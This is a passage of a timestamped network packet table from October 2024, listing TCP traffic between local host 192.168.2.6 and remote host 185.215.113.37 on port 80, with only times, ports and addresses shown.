Oct 13, 2024 14:49:26.770258904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.770272017 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.770292997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.770308018 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.770327091 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.770339966 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.770360947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.770376921 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.770395041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.770407915 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.770482063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:26.770489931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.770545959 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.890306950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:26.895301104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118330956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118349075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118362904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118396997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.118424892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.118441105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118483067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.118489981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118504047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118526936 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.118547916 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.118592024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118607998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118623018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118638039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118638039 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.118654966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118662119 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.118695974 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.118737936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118752956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118767977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118774891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.118786097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118808031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.118832111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.118911982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118927956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118942976 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118952036 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.118976116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118983984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.118993044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.118995905 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119008064 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119014025 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119024992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119029045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119050026 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119057894 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119121075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119137049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119152069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119159937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119165897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119174957 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119180918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119193077 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119195938 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119211912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119211912 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119226933 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119230032 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119240999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119251013 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119277954 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119304895 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119508982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119524002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119538069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119548082 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119550943 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119565010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119570971 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119580984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119589090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119595051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119611025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119616985 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119625092 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119632959 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119640112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119656086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119663954 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119669914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119684935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119693995 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119699001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119714975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119719982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119738102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119767904 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119853020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119867086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119879961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119895935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119899035 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119910955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119910955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119926929 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119935036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119950056 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.119951010 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119972944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.119996071 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120110035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120126009 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120140076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120146990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120156050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120162964 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120171070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120189905 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120199919 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120219946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120219946 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120235920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120250940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120258093 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120270967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120292902 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120341063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120357037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120373011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120377064 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120388031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120394945 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120403051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120412111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120418072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120434046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120434999 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120445013 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120450974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120469093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120479107 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120479107 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120484114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120495081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120510101 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120526075 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120749950 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120774031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120789051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120795965 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120804071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120810032 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120826006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120839119 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120839119 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120841026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120856047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120862007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120870113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120882988 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120884895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120892048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120899916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120908022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120915890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.120934010 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120939970 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.120963097 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121094942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121135950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121167898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121184111 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121207952 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121227026 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121242046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121258020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121273041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121280909 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121288061 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121299982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121321917 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121339083 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121448994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121464014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121479988 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121490955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121495962 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121506929 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121510983 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121526003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121526003 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121541977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121557951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121572971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121567011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121587038 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121603012 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121634007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121722937 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121738911 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.121767044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.121784925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.122005939 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122020960 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122054100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122062922 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.122071028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122087002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122095108 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.122101068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122126102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.122126102 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122140884 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122153044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.122157097 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122172117 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122184038 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.122186899 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122203112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122219086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122229099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.122234106 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122239113 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.122273922 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.122359037 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.122401953 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.207776070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.207820892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.207838058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.207881927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.207897902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.207914114 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.207926035 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.207926035 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.207930088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.207926035 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.207926035 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.207946062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.207962036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.207969904 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.207971096 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.207971096 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.207978010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.207987070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.208002090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.208010912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.208030939 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.208034992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.208051920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.208066940 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.208075047 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.208081961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.208097935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.208106041 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.208123922 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.208189964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.208200932 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.208208084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.208225012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.208230019 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.208242893 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.208264112 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.251869917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.251893044 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.251945019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.251960039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.251976967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.251990080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252029896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252029896 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252072096 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252311945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252335072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252362967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252377987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252396107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252412081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252427101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252461910 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252463102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252463102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252463102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252470016 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252486944 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252502918 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252502918 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252516031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252522945 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252532005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252547026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252558947 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252563000 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252568960 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252579927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252583027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252619028 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252619028 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252628088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252669096 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252804041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252820969 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252836943 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252840996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252851009 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252856016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252866030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252875090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252882004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252885103 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252897978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252902031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252913952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.252918959 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252933979 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.252952099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253128052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253142118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253159046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253173113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253181934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253190041 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253206015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253211975 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253221989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253226995 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253248930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253256083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253267050 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253272057 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253305912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253314972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:27.253321886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:27.253338099 CEST	80	49720	185.215.113.37	192.168.2.6
